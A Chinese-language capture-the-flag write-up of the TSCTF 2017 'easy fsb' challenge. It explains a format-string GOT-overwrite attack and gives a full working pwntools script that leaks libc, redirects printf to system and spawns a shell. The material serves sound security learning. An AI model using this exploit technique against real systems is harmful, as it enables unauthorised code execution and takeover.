pwn学习之二
剛剛開始學習pwn,記錄一下自己學習的過程。
今天get了第二道pwn題目的解答,做的題目是2017年TSCTF的easy fsb,通過這道題了解了一種漏洞和使用該漏洞獲取shell的方法:即格式化字符串漏洞,通過找到printf的got表改為system的got表,從而讓執行printf函數變成執行system函數再傳入/bin/sh參數,從而讓程序執行system('/bin/sh')獲取shell。
打開ida查看:
程序邏輯就是執行getname()函數。
進入getname()函數:
邏輯就是往buf里面寫數據然后printf出來,這里由于printf()函數直接調用了buf作為參數,所以存在格式化字符串漏洞。
格式化字符串漏洞介紹:http://www.cnblogs.com/Ox9A82/p/5429099.html,http://blog.csdn.net/prettyday/article/details/50366608。
本題漏洞利用方法:首先第一輪將exit函數的got表修改成main函數的地址從而讓程序能夠循環運行,
? ?接著第二輪將__libc_start_main函數在內存中的地址找出,通過給的so文件計算出system函數地址,
第三輪將printf函數的got表更改為system函數的地址,
? ?最后一輪輸入'/bin/sh\x00',實際是運行了system('/bin/sh'),最終拿到了shell。
通過gdb查看,由于本題未使用保護措施,可以直接通過ida讀取到地址(linux加載器分配虛擬頁的一個連續的片從0x08048000開始,也就是說elf程序的默認起始地址為0x08048000,之前一直不懂為什么加載前后地址是固定的^_^|||),設置斷點在存在格式化字符串漏洞的printf位置處,本題為b *0x08048629,然后r運行,輸入AAAA,再通過stack 10來查看當前棧:
可以看出輸入值在棧頂偏移7的位置。
可以通過pwntools中的fmtstr模塊來快速生成payload,如要將exit_got表的地址改為main函數的地址:
?main_addr = 0x8048648
?exit_got = 0x804a024
?fmtstr_payload(7,{exit_got:main_addr})
這樣就生成了
這樣的payload,什么意思呢:
首先,我們知道字符串存在棧中偏移為7的位置,所以這個payload首先在偏移為7的位置寫下了0804a024,偏移為8的位置寫著0804a025,同理到偏移為10的地址寫著0804a027,其實這就是exit_got表的地址所占的4個字節,%x$hhn是將前面的字符個數作為值存入到偏移為x的地方寫的地址中,比如這里%7$hhn就會把前面的字符個數作為值寫入0804a024這個地址處,所以這里是把56+16存入0804a024中,把56+16+62存入0804a025中,把56+16+62+126存入0804a026中,把56+16+62+126+4存入0804a027中,這里注意:最高是255所以超過的其實是值-256存入,其實這里就是把48,86,04,08分別存入0804a024到0804a027中。
改完了,就能讓程序在結束時循環到開始處,然后就是通過so文件和__libc_start_main函數的真實地址找出system函數的真實地址,通過ida可以找到__libc_start_main函數的got表地址是0804A028,它的真實地址就是0804A028地址處存著的值,可以通過構造payload:\x28\xa0\x04\x08%7$s來獲得,然后根據so文件中__libc_start_main函數和system函數的間隔通過__libc_start_main函數真實地址-so文件中的__libc_start_main函數地址+so文件中的system函數地址即可得到system函數的真實地址。
第三次執行,將得到的system函數的真實地址寫入printf函數的got表中,方法同第一步。
最后一次執行,運行到printf函數傳參數時,實際上是給system函數傳入參數,所以傳入/bin/sh即可執行system('/bin/sh')從而拿到shell。
fsbpwn.py
1 from pwn import * 2 #init 3 debug = 0 4 if debug: 5 io = process('./fsb') 6 else: 7 io = remote('127.0.0.1',2336) 8 9 context.log_level = 'debug' 10 11 if debug: 12 gdb.attach(pidof('fsb')[-1],open('aa')) 13 #------------------------------------------------- 14 main_addr = 0x8048648 15 exit_got = 0x804a024 16 17 io.recvuntil("Welcome~\n") 18 payload1 = fmtstr_payload(7,{exit_got:main_addr}) 19 io.sendline(payload1) 20 21 #------------------------------------------------- 22 libc_path = './libc-32.so' 23 libc = ELF(libc_path) 24 libc_start_main_got = 0x804A028 25 io.recvuntil("Welcome~\n") 26 io.sendline(p32(libc_start_main_got)+'%7$s') 27 libc_start_main = u32(io.recv(8)[4:8]) 28 29 print libc_start_main 30 system_addr = libc_start_main - libc.symbols['__libc_start_main'] + libc.symbols['system'] 31 print 'system_addr = ' + hex(system_addr) 32 33 #------------------------------------------------- 34 printf_got = 0x804a014 35 io.recvuntil("Welcome~\n") 36 37 payload2 = fmtstr_payload(7,{printf_got:system_addr}) 38 io.sendline(payload2) 39 40 #------------------------------------------------- 41 io.recvuntil("Welcome~\n") 42 io.sendline("/bin/sh") 43 44 io.interactive()pwn題目可用:socat tcp4-listen:2336,fork exec:./pwn1掛載,然后通過nc ip 2336去訪問
fsb下載地址:http://files.cnblogs.com/files/lllkh/pwn1.rar
?
轉載于:https://www.cnblogs.com/lllkh/p/7124249.html
總結
- 上一篇: JAVA中数组Array与List互转
- 下一篇: JAVA中的面向对象与内存解析_2